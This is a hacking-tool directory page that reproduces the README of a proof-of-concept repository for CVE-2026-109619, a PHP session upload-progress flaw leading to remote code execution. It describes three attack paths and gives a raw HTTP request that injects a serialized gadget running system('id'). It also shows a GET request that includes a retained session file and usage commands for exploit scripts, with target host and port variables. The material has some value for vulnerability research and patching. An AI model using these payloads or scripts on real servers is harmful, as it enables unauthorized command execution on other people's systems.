Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
php2shell-619-poc — CVE-2026-109619 — PHP Session Upload Progress → RCE PoC | Kitploit
Tools/GitHubGitHub/luckyfishono/php2shell-619-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubluckyfishono/php2shell-619-poc

php2shell-619-poc

CVE-2026-109619 — PHP Session Upload Progress → RCE PoC

11 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    436
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    386

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-109619 — PHP Session Upload Progress → RCE

Exploiting multiple attack paths in the PHP Session Upload Progress mechanism to achieve remote code execution.

Three Independent Attack Paths

PathCore PrincipleNumber of VulnerabilitiesPrerequisitesHTTP only
Deserialization Injectionsession key pipe injection → deserialization → __wakeup1gadget class + memchr bypass✓
OOM + LFI/.htaccessOOM preserves session → include execution2LFI or .htaccess + post_max_size ≥ memory_limit✓
GDB Memory HijackingUAF → forged struct → control flow hijacking1SSH + GDB + debug symbols✗

Route 1: Deserialization Injection (Pure HTTP Single-Vulnerability RCE)

The value of PHP_SESSION_UPLOAD_PROGRESS is concatenated directly into the session key without sanitization. Injecting a pipe | splits the php session serializer format, implanting an arbitrary serialized object.

POST /any.php HTTP/1.1
Cookie: PHPSESSID=<32hex>
Content-Type: multipart/form-data

PHP_SESSION_UPLOAD_PROGRESS = |O:13:"Gadget":1:{s:3:"cmd";s:2:"id";}
file = (any data)

→ session decode → __wakeup() → system("id") → RCE

Single HTTP request, no OOM required, no LFI required.

PHP 8.x's session encode has a memchr protection that blocks | in keys, requiring a binary patch to bypass. PHP 7.x does not have this protection.

Technical details → deser-inject.md


Route 2: OOM + Include (HTTP dual-vulnerability RCE)

Successfully verified on two completely different environments:

Target ATarget B
OSUbuntu 24.04CentOS 7
PHP8.4.267.4.33
Apache2.4.582.4.6
ProtocolHTTPHTTPS
Session path/var/lib/php/sessions//var/lib/php/session/
Inclusion method.htaccess auto_prepend_fileLFI (reader.php)
Resultuid=33(www-data)uid=48(apache)

The same OOM primitive requires no memory addresses, no GDB, and no debug symbols, and can be triggered across PHP 7.x / 8.x and across operating systems.

Patched in PHP 8.4.27 / 8.3.36 / 8.2.35 (2026-10-21); PHP 7.x has no official patch.

OOM Vulnerability Principle

攻擊者 ──POST──▶ PHP (multipart + session upload progress)
                  │
                  ├─ filename 中的 PHP 程式碼寫入 session 檔案
                  ├─ POST body 超過 memory_limit → OOM
                  ├─ OOM 阻止 session RSHUTDOWN → 檔案不被清除
                  │
攻擊者 ──GET───▶ 第二個漏洞 include session 檔案 → RCE
  1. When PHP handles multipart uploads, it writes the filename as-is into the session file (session upload progress)
  2. When the POST body exceeds memory_limit → OOM occurs during the sapi_activate() phase, and session RSHUTDOWN is not executed
  3. The session file remains on disk, and the PHP parser directly executes upon encountering the <?php tag

Necessary conditions for triggering OOM: post_max_size ≥ memory_limit

ConfigurationOOM
post_max_size=8M, memory_limit=128M (PHP defaults)✗
post_max_size=256M, memory_limit=128M (raised by administrator)✓
.htaccess overrides memory_limit / post_max_size✓

Technical details (sapi_activate interrupt path, session write mechanism, file format) → oom-exploit.md


Route 3: GDB Memory Hijacking (SSH Single-Vulnerability RCE)

Does not rely on a second vulnerability; instead, uses GDB to forge structures in memory and hijack control flow. Requires SSH + sudo + GDB + debug symbols.

Technical details → gdb-exploit.md


Script Descriptions

ScriptRoutePrerequisitesDescription
http_rce.pyDeser Injectiongadget class + memchr bypassPure HTTP single vulnerability, single-request RCE
php2shell.pyOOM + LFITarget has an LFI vulnerabilityPure HTTP dual vulnerability, no memory addresses required
test_http.pyOOM + auto_prepend.htaccess already placed, post_max_size ≥ memory_limit.htaccess sets auto_prepend_file
test_default_http.pyOOM + auto_prepend.htaccess already placed, Apache AllowOverride All.htaccess overrides all settings, stock php.ini is sufficient
test_oom.pyOOM-only testpost_max_size ≥ memory_limitOnly verifies whether OOM is triggered
test_gdb.pyGDB memory hijackingSSH + GDB + debug symbolsSingle vulnerability, see gdb-exploit.md for details

Usage

Deserialization Injection (Pure HTTP Single Vulnerability)

python3 http_rce.py "id"
python3 http_rce.py "uname -a; whoami"

Modify the top-level settings TARGET, GADGET_CLASS, etc. in http_rce.py. Technical details → deser-inject.md

OOM + LFI

1. POST multipart → OOM → session 檔案保留(含 PHP code)
2. GET /vuln.php?file=/var/lib/php/session/sess_<SID> → include → RCE
TARGET_HOST=10.0.0.1 TARGET_PORT=443 python3 php2shell.py

OOM + .htaccess auto_prepend_file

1. .htaccess 設定 auto_prepend_file 指向 session 檔案(事先放置)
2. POST multipart → OOM → session 檔案保留(含 PHP code)
3. GET /any.php → Apache 自動 prepend session 檔案 → RCE

php.ini has been adjusted (post_max_size > memory_limit):

TARGET_HOST=10.0.0.1 python3 test_http.py

stock php.ini (.htaccess overrides both memory_limit and post_max_size):

TARGET_HOST=10.0.0.1 python3 test_default_http.py

Environment Variables

VariableDefault ValueDescription
TARGET_HOST127.0.0.1Target IP or hostname
TARGET_PORT80 or 443HTTP/HTTPS port
SESSION_PATH/var/lib/php/sessionsSession file directory
CMDidCommand to execute

Session paths vary by distribution: Debian/Ubuntu /var/lib/php/sessions/, CentOS/RHEL /var/lib/php/session/, fallback /tmp/.

File Structure

├── http_rce.py              ← Deser Injection → 純 HTTP 單漏洞 RCE ★
├── php2shell.py             ← OOM + LFI → RCE
├── test_http.py             ← OOM + .htaccess → RCE(需調 php.ini)
├── test_default_http.py     ← OOM + .htaccess → RCE(stock php.ini)
├── test_oom.py              ← OOM 觸發測試
├── test_gdb.py              ← GDB 記憶體劫持 → RCE
├── README.md
├── deser-inject.md          ← Deserialization Injection 技術細節
├── oom-exploit.md           ← OOM 技術細節
├── gdb-exploit.md           ← GDB 路線技術細節

Limitations

  • Deser Injection (http_rce.py): PHP 8.x requires a binary patch to bypass the memchr protection; requires a usable deserialization gadget class
  • OOM + LFI (php2shell.py): requires an LFI vector to exist on the target
  • OOM + .htaccess (test_http.py, test_default_http.py): requires .htaccess to already be in the web root and Apache AllowOverride All
  • OOM route commonality: under PHP default settings, OOM cannot be triggered on its own; requires post_max_size ≥ memory_limit
  • GDB version: requires SSH + sudo + debug symbols
Download Tool